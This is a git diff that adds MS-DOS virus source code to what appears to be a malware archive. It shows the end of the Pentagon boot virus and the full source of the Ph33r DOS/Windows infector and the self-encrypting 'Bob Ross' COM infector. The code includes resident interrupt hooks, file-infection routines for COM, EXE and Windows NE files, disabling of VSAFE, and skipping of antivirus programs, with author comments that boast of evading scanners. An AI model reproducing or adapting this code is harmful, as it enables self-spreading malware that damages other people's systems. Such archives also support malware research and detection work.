AL,53H ; Del character token? + JNE BP0736 ; Branch if not + XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states + XOR AL,AL ; \ ? + OUT 60H,AL ; / + MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch +BP0736: POP DS + POP BX + POP AX + INT 69H ; Keyboard I/O + PUSHF + CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch + JNE BP0765 ; Branch if off + POPF + MOV AX,3 ; Set mode three + INT 10H ; VDU I/O + CLI + MOV AL,0AH ; Repeat delay 10 times + XOR CX,CX ; Maximum loop +BP074F: LOOP BP074F ; Delay + DEC AL ; Decrement delay count + JNZ BP074F ; Repeat delay for count + CALL BP04A0 ; Generate a sound + XOR CX,CX ; Maximum loop +BP075A: LOOP BP075A ; Delay + MOV BYTE PTR CS:DB07E0,5 ; Set count to 5 + STI + INT 19H ; Disk bootstrap + +BP0765: POPF + RETF 2 + + DB 27 DUP (0) + +DW0784 DW 0064H ; Cluster number of virus +DW0786 DW 0066H ; Cluster number of file +DW0788 DW 0B02H ; Virus track & sector +DW078A DW 0101H ; Virus head and drive +DW078C DW 0B06H ; File track and sector +DW078E DW 0101H ; File head and drive +DB0790 DB 1 ; Device number + +DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0 +DB07B1 DB 'Pentagon,ZG' +DB07BC DB '(c) 1987 The Pentagon, Zorell Group$' + +DB07E0 DB 20H ; Infection count +DB07E1 DB 0FFH ; Infected by Brain switch +DB07E2 DB 0 ; Directory update switch +DB07E3 DB 0 ; Reboot switch + + DB ' first sector in segment', 0DH, 0AH, 9, 6DH + +CODE ENDS + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ph33r.a86 b/MSDOS/Virus.MSDOS.Unknown.ph33r.a86 new file mode 100644 index 00000000..cdfa0a0d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ph33r.a86 @@ -0,0 +1,828 @@ +; +; +; Ph33r +; +; Qark/VLAD +; +; +; +; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE +; files. +; The technology of the Windows infection is superior to 'Winsurfer' +; in that the virus goes directly resident, without having to mess around +; infecting the Windows 'shell'. The Windows entry of the virus allocates +; memory, points a selector to it, copies the virus into the space and +; sets interrupt 21h to the resident virus. By careful programming it was +; possible to make both the DOS and Win interrupt handlers share the same +; code. +; +; The virus does a few interesting things: +; Disables MSAV by turning it off (DOS) +; Gets the original Int 21h using DOSSEG:109Eh (DOS) +; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win) +; +; A few annoying things: +; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load. +; If the virus infects WIN386.EXE Windows crashes on load. +; These have both been fixed, by removal. +; +; For some unknown reason, the virus causes Debug to crash on exit. +; I haven't fixed this, because I figure anyone who uses Debug will spot +; the virus anyway. Besides which, I haven't got a clue why it's happening :) +; +; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it +; heuristically. +; + + org 0 + +com_entry: ;COM files begin execution here. + call exec_start + push es + pop ds + + ;COM file exit. + + mov di,100h + push di + + db 0b8h ;MOV AX,xxxx +old2 dw 20cdh + stosw + db 0b8h ;MOV AX,xxxx +old4 dw 0 + stosw + + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + ret + +exe_entry: ;EXE files begin execution here. + call exec_start + push es + pop ds + + ;Setup ss:sp + mov ax,ds + add ax,10h + db 5 ;ADD AX,xxxx +old_ss dw 0 + mov ss,ax + db 0bch ;MOV SP,xxxx +old_sp dw 0 + + ;setup the return + mov ax,ds + add ax,10h + db 5 ;ADD AX,xxxx +exe_cs dw 0 + push ax + db 0b8h ;MOV AX,xxxx +exe_ip dw 0 + push ax + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + retf + +Exec_Start: + + cld + mov ax,51ffh ;Test resident. + int 21h + cmp ax,0ff51h + je exit_virus + + mov ax,0fa02h ;Kill VSAFE. + mov dx,5945h ;Every DOS6+ user has a copy of this. + xor bl,bl + int 16h + + mov ax,ds + dec ax + mov ds,ax ;MCB seg in DS. + xor di,di + cmp byte ptr [di],'Y' ;Z block ? + ja allocate +exit_virus: + ret +allocate: + sub word ptr [di+3],(offset virus_size*2/16)+1 + sub word ptr [di+12h],(offset virus_size*2/16)+1 + mov ax,word ptr [di+12h] + + push es + mov es,ax + push cs + pop ds + mov cx,offset virus_size + + ;Get delta offset in SI + call next +next: + pop si + sub si,offset next + + ;Move virus to free memory. + rep movsb + + mov ds,cx ;DS=CX=0 from REP MOVSB + + ;Set int21h + mov si,21h*4 + mov di,offset i21 + push si + movsw + movsw + pop si + mov di,offset orig21 + movsw + movsw + + mov word ptr [si-4],offset int21handler + mov word ptr [si-2],es + + push es + mov ah,52h ;Thanx Neurobasher! + int 21h + mov ax,es + pop es + mov ds,ax + + mov si,109eh ;DS:109Eh = Original Int 21 I hope. + lodsw + cmp ax,9090h + jne reset21 + lodsb + cmp al,0e8h + jne reset21 + mov word ptr es:orig21,10a0h + mov word ptr es:orig21+2,ds +reset21: + pop es + ret + + db '=Ph33r=' + +win21: ;Windows interrupt handling begins here. + cmp ax,51feh + jne non_w_res + xchg al,ah + iret +non_w_res: + cmp ax,4b00h ;Execute. + je check_infect + cmp ah,3dh ;File Open. + je check_infect + cmp ah,56h ;Rename. + je check_infect + cmp ah,43h ;Chmod. + jne int_exit + +check_infect: + pushf + pusha + push ds + push es + + mov ax,0ah ;This function makes our CS writable. + mov bx,cs + int 31h + mov es,ax + + call setup_infect + + pop es + pop ds + popa + popf + + jmp int_exit + +int21handler: ;DOS interrupt handling begins here. + cmp ax,51ffh + jne non_res + xchg al,ah + iret + + db 'Qark/VLAD' + +non_res: +;For some reason, checking for AH=3dh crashes windows when its booting. + + cmp ax,4b00h ;Execute. + je do_file + cmp ah,6ch ;Open. + je do_file + cmp ah,56h ;Rename. + je do_file + cmp ah,43h ;Chmod. + je do_file + +int_exit: + db 0eah +i21 dd 0 + +do_file: + push es + push dx + cmp ah,6ch + jne no_6c_fix + mov dx,si +no_6c_fix: + push cs + pop es + call setup_infect + pop dx + pop es + + jmp int_exit + +setup_infect: +;on entry to this call, es=writable cs +;ds:dx=filename + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + cld + mov si,dx +asciiz: + lodsb + cmp al,0 + jne asciiz + sub si,4 + lodsw + or ax,2020h + cmp ax,'xe' ;EXE + je do_inf + cmp ax,'ld' ;DLL + je do_inf + cmp ax,'oc' ;COM + jne not_name +do_inf: + cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs) + je not_name + mov ax,word ptr [si-5] + or ax,2020h ;Lowercase. + cmp ax,'va' ;Don't touch files that end in AV + je not_name ;eg TBAV + cmp ax,'vd' ;DV.COM checks DV.EXE + je not_name + cmp ax,'na' ;Don't touch files that end in AN + je not_name ;eg SCAN, TBSCAN + cmp ax,'to' ;Don't touch files that end in OT + je not_name ;eg F-PROT + + call infect +not_name: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + ret + +Infect: +;DS:DX=Filename, ES=our data segment + cld + mov ax,3d02h ;Open file to be infected. + call int21h + jnc file_opened + ret +file_opened: + xchg bx,ax ;File handle into BX. + push es + pop ds + + mov ah,3fh ;Read from file. + mov cx,512 + mov dx,offset virus_size + call int21h + + mov si,offset virus_size + + mov ax,word ptr [si] + or ax,2020h + cmp ax,'zm' ;Test for EXE header + je check_exe + jmp com_infect +check_exe: + cmp word ptr [si+12h],0afafh ;Infection marker. + jne not_infected +bad_mem: + jmp com_end +not_infected: + cmp word ptr [si+18h],40h ;Windows executable. + jb exe_infect + jmp windows_infect +exe_infect: + cmp word ptr [si+0ch],-1 ;Maxmem = All + jne bad_mem + + call lseek_end ;Get file length in DX:AX + or dx,dx + jnz ok_exe_size + cmp ax,1000 + jb bad_mem +ok_exe_size: + mov cx,512 + div cx + inc ax + cmp [si+4],ax ;Check for overlays. + ja bad_mem + + mov ax,word ptr [si+0eh] ;Save the original SS:SP + mov word ptr old_ss,ax + mov ax,word ptr [si+10h] + mov word ptr old_sp,ax + + mov ax,word ptr [si+14h] ;Save the original CS:IP + mov word ptr exe_ip,ax + mov ax,word ptr [si+16h] + mov word ptr exe_cs,ax + + call lseek_end + mov cx,16 + div cx + + sub ax,word ptr [si+8] + add dx,offset exe_entry + mov word ptr [si+14h],dx ;New IP + mov word ptr [si+16h],ax ;New CS + + dec ax + mov word ptr [si+0eh],ax + add dx,1500 + and dx,0fffeh + mov word ptr [si+10h],dx + + call save_time + + mov cx,offset virus_size + mov ah,40h + xor dx,dx + call int21h + + call lseek_end + + mov cx,512 + div cx + or dx,dx + jz no_page_fix + inc ax +no_page_fix: + mov word ptr [si+4],ax + mov word ptr [si+2],dx + call lseek_start + + mov word ptr [si+12h],0afafh ;Set infection marker. + mov ah,40h + mov dx,si + mov cx,1ch + call int21h + + call restore_time + + jmp com_end + +com_infect: + cmp byte ptr [si+3],0afh ;Com infection marker. + je com_end + + ;Save first four com file bytes. + mov di,offset old2 + movsw + mov di,offset old4 + movsw + + mov ax,4202h ;Lseek to file end. + xor cx,cx + cwd + call int21h + + or dx,dx ;Check if > 64k + jnz com_end + cmp ax,60000 ;Check if > 60000 + ja com_end + cmp ax,1024 + jb com_end + + sub ax,3 + mov word ptr com_jmp+1,ax + + call save_time + + mov ah,40h ;Write virus body to file. + mov cx,offset virus_size + xor dx,dx + call int21h + jc com_end + + mov ax,4200h ;Lseek to file start. + xor cx,cx + cwd + call int21h + + mov ah,40h ;Write jump to start of file. + mov cx,4 + mov dx,offset com_jmp + call int21h + +com_time_end: + call restore_time + +com_end: + mov ah,3eh ;Close file. + call int21h + + ret + +windows_infect: + + ;Move the Newexe pointer forward. + push word ptr [si+3ch] + pop word ptr newexe_off + + sub word ptr [si+3ch],8 + cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k + jne com_end + + mov word ptr [si+12h],0afafh ;Set infection marker. + + ;Lseek back to start of the file. + mov ax,4200h + xor cx,cx + cwd + call int21h + + call save_time + + ;Write header back. + mov ah,40h + mov cx,512 + mov dx,offset virus_size + call int21h + + jc com_end + + ;Lseek to new exe header + mov ax,4200h + mov dx,word ptr newexe_off + xor cx,cx + call int21h + + ;Read in new exe header + mov ah,3fh + mov cx,512 + mov dx,offset virus_size + call int21h + + ;Adjust header pointers + mov ax,word ptr [si+22h] ;AX=Segment table offset. + cmp word ptr [si+4],ax + jb ok_et + add word ptr [si+4],8 +ok_et: + cmp word ptr [si+24h],ax + jb ok_rt + add word ptr [si+24h],8 +ok_rt: + cmp word ptr [si+26h],ax + jb ok_rnt + add word ptr [si+26h],8 +ok_rnt: + cmp word ptr [si+28h],ax + jb ok_mrt + add word ptr [si+28h],8 +ok_mrt: + cmp word ptr [si+2ah],ax + jb ok_int + add word ptr [si+2ah],8 +ok_int: + mov ax,word ptr [si+1ch] + inc word ptr [si+1ch] ;Increase segment count. + xor dx,dx + mov cx,8 + mul cx + + add ax,word ptr [si+22h] ;AX=Offset of segment table end. + adc dx,0 + mov cx,512 ;512 byte portions are used + ; for the reads later on. + div cx + + mov word ptr ne_size,ax + mov word ptr last_ne,dx + + ;Put the original CS:IP into our relocation table. + push word ptr [si+14h] + pop word ptr old_ip + push word ptr [si+16h] + pop word ptr old_cs + + ;Save the alignment shift count because we need that for calculating + ;the offset of our segment when writing the segment entry. + push word ptr [si+32h] + pop word ptr al_shift + + ;Point CS:IP to the virus. + mov word ptr [si+14h],offset win_entry ;The new IP + mov ax,word ptr [si+1ch] + mov word ptr [si+16h],ax ;The new CS + + ;Initialise the lseek variable + push word ptr newexe_off + pop word ptr lseek + + ;The below code gets the NE header and keeps moving it forward by + ;eight bytes in 512 byte chunks. +move_header_forward: + mov ax,word ptr ne_size + or ax,ax + jz last_page + + dec word ptr ne_size + + mov ax,4200h ;Lseek to our current position. + xor cx,cx + mov dx,word ptr lseek + sub dx,8 + call int21h + + mov ah,40h ;Write the header section out. + mov cx,512 + mov dx,si + call int21h + + add word ptr lseek,512 + + mov ax,4200h ;Lseek to the next chunk. + xor cx,cx + mov dx,word ptr lseek + call int21h + + mov ah,3fh ;Read it. + mov dx,offset virus_size + mov cx,512 + call int21h + + jmp move_header_forward + +last_page: + mov ax,4202h ;Lseek to end of file. + xor cx,cx + cwd + call int21h ;File length into DX:AX + + ;DX:AX=File offset of our segment + ;Below section shifts the segment offset right by the alignment + ;shift value. + mov cl,byte ptr al_shift + push bx + mov bx,1 + shl bx,cl + mov cx,bx + pop bx + div cx + + mov word ptr lseek_add,0 + or dx,dx + jz no_extra + sub cx,dx + mov word ptr lseek_add,cx + inc ax +no_extra: + mov di,si + add di,word ptr last_ne + + ;Adding the new segment table entry + mov word ptr [di],ax ;Segment offset + mov word ptr [di+2],offset virus_size + mov word ptr [di+4],180h ;Segment attribute + ; 180h = NonMovable + Relocations + mov word ptr [di+6],offset virus_size+512 + + mov ax,4200h ;Lseek to next position. + xor cx,cx + mov dx,word ptr lseek + sub dx,8 + call int21h + + mov ah,40h ;Write rest of NE header + new seg entry. + mov cx,word ptr last_ne + add cx,8 ;Added segment entry means eight more. + mov dx,offset virus_size + call int21h + + ;Reset the relocatable pointer. + push word ptr winip + push word ptr wincs + mov word ptr winip,0 + mov word ptr wincs,0ffffh + + mov ax,4202h ;Lseek to end of file. + xor cx,cx + mov dx,word ptr lseek_add + call int21h + + mov ah,40h ;Write main virus body. + mov cx,offset virus_size + xor dx,dx + call int21h + + pop word ptr wincs + pop word ptr winip + + mov ah,40h ;Write the relocation item. + mov cx,offset reloc_end - offset relocblk + mov dx,offset relocblk + call int21h + + jmp com_time_end + +int21h: ;Simulated int 21 call. + pushf + call dword ptr cs:orig21 + ret +orig21 dd 0 + +win_entry: ;WinEXE files begin execution here. + pusha + push ds + push es + + mov ax,51feh ;Residency test. + int 21h + cmp ax,0ff51h + je no_wintsr + + mov ax,000ah ;Make CS writable. + mov bx,cs + int 31h ;Use DPMI. + mov ds,ax + + mov ax,0204h ;Get real mode interrupt vector. + mov bl,21h + int 31h + + mov word ptr i21,dx ;Save int21 + mov word ptr i21+2,cx + + mov word ptr orig21,dx + mov word ptr orig21+2,cx + + mov ax,501h + xor bx,bx ;Allocate Linear region + mov cx,offset v_mem_size + int 31h + + push bx + push cx + + xor ax,ax + mov cx,1 ;Create a Selector + int 31h + + mov bx,ax + mov ax,7 + pop dx ;Point selector to linear region. + pop cx + int 31h + + mov ax,8 + xor cx,cx ;Set selector limit + mov dx,offset v_mem_size + int 31h + + mov es,bx + mov cx,offset v_mem_size + xor si,si ;Copy virus to the linear region + xor di,di + cld + rep movsb + + mov bx,es + mov ax,9 ;Set access rights to 'Code' + mov cx,0ffh + int 31h + + mov cx,es + mov dx,offset win21 + mov ax,205h + mov bl,21h + int 31h ;Set real mode interrupt vector. + + mov ax,4 + push es + pop bx ;Lock the selector + int 31h + +no_wintsr: + pop es + pop ds + popa + + db 0eah ;Return to original file. +winip dw 0 +wincs dw 0ffffh + +;----------------------- +;Infection Procedures +;----------------------- +Save_Time: + push ax + push cx + push dx + + mov ax,5700h + call int21h + + mov word ptr time,cx + mov word ptr date,dx + + pop dx + pop cx + pop ax + ret + +Restore_Time: + push ax + push cx + push dx + + db 0bah ;MOV DX,xxxx + date dw 0 + + db 0b9h ;MOV CX,xxxx + time dw 0 + + mov ax,5701h + call int21h + + pop dx + pop cx + pop ax + ret + +Lseek_Start: + mov al,0 + jmp short lseek2 +Lseek_End: + mov al,2 +lseek2: + mov ah,42h + xor cx,cx + cwd + call int21h + ret + +;----------------------- +;Infection Data +;----------------------- +;Com infection data. +com_jmp db 0e9h,0,0,0afh + +;----------------------- +;Windows infection data. +newexe_off dw 0 +al_shift dw 0 +ne_size dw 0 +last_ne dw 0 +lseek dw 0 +lseek_add dw 0 + +Relocblk: + dw 1 ;Number of relocation items + + db 3 ;32bit pointer relocation + db 4 ;Additive relocation + dw offset winip +old_cs dw 0 ;The stored original CS & IP of host. +old_ip dw 0 + + +Reloc_end: +;----------------------- + +virus_size: + db 512 dup (0) ;Storage buffer. +v_mem_size: + diff --git a/MSDOS/Virus.MSDOS.Unknown.phalcon.1117.asm b/MSDOS/Virus.MSDOS.Unknown.phalcon.1117.asm new file mode 100644 index 00000000..21bbebc2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.phalcon.1117.asm @@ -0,0 +1,565 @@ +; The Funky Bob Ross Virus Version 1.0 +; Written by Dark Angel / 26 September 1991 / (c) 1991 +; PHALCON/SKISM Co-op +; Effective length: 1125, Resident length: 672 bytes +; +; DEDICATION: +; This virus was written expressedly to +; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the +; other guru-wanna-bes in this world. +; 2) Spread the message of The Almighty Bob, and so enrichen the lives +; of people all over the world. +; 3) Show off (Now I can tell people that I wrote a virus!) +; +; WHAT THIS IS: +; This is a self-encrypting, non-overwriting COM infector. It doesn't do +; anything to EXE files. File sizes increase by 1117 bytes. It goes off +; on July 9th of any year or after 7 infection "waves." +; +; WHAT IT DOES WHEN IT GOES OFF: +; The virus goes memory resident and prints out a Bobism every 5 minutes. +; It then enters a delay loop for approximately 5 seconds, allowing for a +; brief moment of silence while the victim reads Bob's holy message. The +; virus will not destroy anything. The virus will not go TSR if it finds +; another copy of itself in memory. +; +; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT. +; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE +; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO +; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE +; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I +; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE. +; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!! + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of Bob messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0709h ; Date of psychosis + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +;============================================================================= +;Part 2 begins: Dis is the D-Cool part +;============================================================================= +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +decrypt: +encrypt: + mov si, offset encrypt_val + add si, offset_off + mov ah, byte ptr [si] + + mov cx, offset part2_end - offset bam_bam + add si, offset bam_bam - offset encrypt_val + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Mah copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 +com_mask db '*.com',0 +dir_mask db '*.*',0 +back_dir db '..',0 +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + mov cx, part1_size + rep movsb + + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer + int 21h ; in orig_path + jc Go_Error + + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 07/09? + jz Go_Psycho ; If so, activate +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +;============================================================================= +;D-Traversal function begins +;============================================================================= +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ; *.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ; and changedir there + int 21h ;Yup, yup + jc short donext ; Do next if invalid + mov si, offset nest ; Else increment nest + add si, offset_off + inc word ptr [si] ; nest++ + call near ptr traverse_fcn ; recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA address + mov ah,1Ah ; and set DTA to it + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ; to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +;============================================================================= +;D-Traversal function ends +;============================================================================= + +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ; in order to + add si, offset_off ; halt the D-Cool + mov word ptr [si], 0 ; traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ; to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ; Find first file + mov cx, 0007h ; Any file + mov dx, offset com_mask ; DS:[DX] --> filemask + add dx, offset_off + int 21h ; Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ; I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ; Another loop, + add si, offset_off ; Another infection + dec byte ptr [si] ; Infected three? + jz enuff_for_now ; If so, exit +find_next_file: + mov ah,4Fh ; Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ; ??????D.COM? + jz find_next_file ; don't kill COMMAND.COM + + mov ax,3D00h ; Open channel read ONLY + mov dx, si ; Offset Pathname in DX + sub dx, 6 + int 21h ; Open NOW! + jc find_next_file ; If error, find another + + xchg bx,ax ; bx is now handle + mov ah,3Fh ; Save + mov cx, part1_size ; first part + mov dx, offset buffer ; to buffer + add dx, offset_off ; to be restored + push dx + int 21h ; later + + pop si ; Check for virus ID bytes + ; in the buffer + push si + lodsw ; DS:[SI] -> AX + cmp ax, virus_marker ; Compare it + jnz infect_it ; infect it if ID #1 not found + + lodsw ; Check next two bytes + cmp ax, virus_marker2 ; Compare it + jnz infect_it ; infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + jmp find_next_file ; 'cuz it's already infected + +Signature db 'PHALCON' + +;============================================================================= +;D-Good Stuff - Infection routine +;============================================================================= +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ; DS:[SI] -> ES:[DI] + movsw ; Save origtime + movsw ; Save origdate + movsw ; Save filesize + ; Only need LSW + ; because COM files + ; can only be up to + ; 65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ; is less than 8 bytes. + +do_again: + mov ah, 2Ch ; get time + int 21h + add dl, dh ; 1/100 sec + 1 sec + jz do_again ; Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ; 255 mutations + + mov ax, 4301h ; Set file attributes + xor cx, cx ; to nothing + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ; do it now, my child + + mov ah, 3Eh ; Close file + int 21h ; handle in BX + + mov ax, 3D02h ; Open file read/write + int 21h ; Filename offset in DX + jc bomb_out ; Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ; copy filehandle to + ; oldhandle + stosw ; AX -> ES:[DI] + xchg ax, bx ; file handle in BX now + + mov ah, 40h ; Write DS:[DX]->file + mov cx, part1_size - 4 ; number of bytes + mov dx, 0100h ; where code starts + int 21h ; (in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ; write jmp offset + + mov ax, [si] ; AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ; move file ptr + xor cx, cx ; from EOF + xor dx, dx ; offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ; Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ; old time and + add si, 2 + mov dx, word ptr [si] ; date + int 21h + + mov ah, 3Eh ; Close file + int 21h + + mov ax, 4301h ; Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ; attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ; do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ; Initialize fingerprint + xor bx, bx ; Zero BX for start + mov ax, cs +Init1: inc bx ; Increment search segment + mov es, bx ; value + cmp ax, bx ; Not installed if we reach + je Not_Installed_Yet ; the current segment + mov si, 100h ; Search segment for + mov di, si ; fingerprint in first + mov cx, 4 ; four bytes + repe cmpsb ; Compare + jne init1 ; If not equal, try another + jmp Quit_Init ; else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ; DS:[SI]->ES:[DI] + + mov ax, 3508h ; Get int 8 handler + int 21h ; put in ES:BX + + mov cs:[duh], bx ; Save old handler + mov cs:[duh+2], es ; in cs:[104h] + + mov ax, 2508h ; Install new handler + mov dx, Int_08_Start ; from DS:DX + int 21h ; Do it + + push es + mov ax, ds:[2Ch] ; Deallocate program + mov es, ax ; environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ; TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + int 21h + int 20h ; In case of error +Quit_Init: + pop es +Error: ; On error, quit +Quit: + mov ah, 3Bh ; Change directory + mov dx, offset root_dir ; to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ; Change directory + ; Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ; Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ; Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ; DS:SI -> AL + add si, ax ; ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ; Length of string + mov ax, 1300h ; + mov bx, 0070h ; Page 0, inverse video + xor dx, dx ; (0,0) + int 10h ; Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh + +Messages db 0 + db 15, 'Bob Ross lives!' + db 21, 'Bob Ross is watching!' + db 22, 'Maybe he lives here...' + db 26, 'What a happy little cloud!' + db 38, 'Maybe he has a neighbour right here...' + db 40, 'You can make up stories as you go along.' +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + diff --git a/MSDOS/Virus.MSDOS.Unknown.phasor10.asm 